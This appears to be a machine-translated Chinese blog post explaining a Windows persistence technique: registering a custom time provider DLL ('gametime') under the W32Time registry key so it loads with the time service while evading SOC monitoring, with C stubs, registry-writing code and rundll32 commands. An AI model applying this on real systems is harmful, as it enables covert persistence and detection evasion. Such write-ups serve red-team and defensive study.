**Scott Lundgren = **https://twitter.com/5twenty9
**gametime = **https://github.com/scottlundgren/w32time
修改Windows时间提供程序可能会向SOC团队发出警报。来自Carbon Black的Scott Lundgren在C中开发了一种称为gametime的时间提供程序。
可以使用此DLL来向操作系统注册新的时间提供者,并在其他注册表项中执行修改。
这样可以避免滥用现有的Windows时间提供程序,而该时间提供程序可以由SOC监视。Rundll32可用于注册DLL
Scott Lundgren使用了要在系统上创建的注册表项“GameTime”。
#define GAMETIME_SVC_KEY_NAME L"System\CurrentControlSet\Services\W32Time\TimeProviders\GameTime"
时间提供者– GameTime注册表项
根据Microsoft文档[https://docs.microsoft.com/en-gb/windows/win32/sysinfo/creating-a-time-provider]
时间提供者必须实现以下回调函数
- TimeProvOpen
- TimeProvCommand
- TimeProvClose
TimeProvOpen用于返回提供者句柄,TimeProvCommand用于将命令发送到时间提供者,而TimeProvClose用于关闭时间提供者
HRESULT __stdcall TimeProvOpen( _In_ WCHAR *wszName, _In_ TimeProvSysCallbacks *pSysCallbacks, _Out_ TimeProvHandle *phTimeProv ) { UNREFERENCED_PARAMETER(pSysCallbacks); UNREFERENCED_PARAMETER(phTimeProv); OutputDebugStringW(wszName); return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE)); } /* * */ HRESULT __stdcall TimeProvCommand( _In_ TimeProvHandle hTimeProv, _In_ TimeProvCmd eCmd, _In_ PVOID pvArgs ) { UNREFERENCED_PARAMETER(hTimeProv); UNREFERENCED_PARAMETER(eCmd); UNREFERENCED_PARAMETER(pvArgs); return (HRESULT_FROM_WIN32(ERROR_NOT_CAPABLE)); } /* * */ HRESULT __stdcall TimeProvClose( _In_ TimeProvHandle hTimeProv )
{
UNREFERENCED_PARAMETER(hTimeProv);
return (S_OK);}
时间提供者–回调功能
GameTime提供程序将在系统上填充以下注册表项,因为它们是Microsoft时间提供程序规范的一部
- DLLNAME
- Enable
- InputProvider
该DLLNAME指示包含供应商,该DLL的名称启用使然是否提供商应在系统启动过程中启动。
值“ 1”启动系统的提供者,而InputProvider指示提供者是输入还是输出。注册表值“ 1”表示已输入提供者。
这些在下面的代码中指定:
nRet = RegSetValueExW(hkTimeProvider, L"DllName", 0, REG_SZ, (LPBYTE)g_wzModule,(DWORD)wcslen(g_wzModule)*sizeof(WCHAR)+sizeof(WCHAR)); if (ERROR_SUCCESS != nRet) { OutputError(L"RegCreateKeyExW failed", nRet); goto ErrorExit; } nRet = RegSetValueExW(hkTimeProvider, L"Enabled", 0, REG_DWORD, (LPBYTE)&dwOne, sizeof(dwOne)); if (ERROR_SUCCESS != nRet) { OutputError(L"RegCreateKeyExW failed", nRet); goto ErrorExit; } nRet = RegSetValueExW(hkTimeProvider, L"InputProvider", 0, REG_DWORD, (LPBYTE)&dwOne, sizeof(dwOne)); if (ERROR_SUCCESS != nRet) {
OutputError(L"RegCreateKeyExW failed", nRet);
goto ErrorExit;
}
时间提供者–注册表项值
该代码还使用Deregister回调函数从系统中删除创建的注册表项GameTime,作为清理过程。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\GameTime
void CALLBACK Deregister( _In_ HWND hWnd, _In_ HINSTANCE hInst, _In_ LPSTR pwzCmdLine, _In_ int nCmdShow) { long nRet; UNREFERENCED_PARAMETER(hWnd); UNREFERENCED_PARAMETER(hInst); UNREFERENCED_PARAMETER(pwzCmdLine); UNREFERENCED_PARAMETER(nCmdShow); OutputDebugStringW(L"Unregister\n"); nRet = RegDeleteKeyW(HKEY_LOCAL_MACHINE, GAMETIME_SVC_KEY_NAME); if (ERROR_SUCCESS != nRet) { OutputError(L"RegDeleteKeyW failed!", nRet); goto ErrorExit; } ErrorExit: return; }
注销回调功能
实际上,可以使用rundll32向系统注册DLL,以便创建关联的注册表项,默认情况下,该注册表项将与系统一起启用新的时间提供程序。
rundll32.exe gametime.dll,Register
注册新的时间提供者
将创建注册表项GameTime,并且DllName将包含DLL的路径。
新时间提供商注册表项
再次修改注册表以包含任意DLL,将在服务重新启动期间执行类似于Windows时间提供程序的代码
新时间提供商注册表项修改
该注销功能可用于删除所有相关联的密钥和系统上进行清理。
rundll32.exe gametime.dll,Deregister
取消注册新时间提供商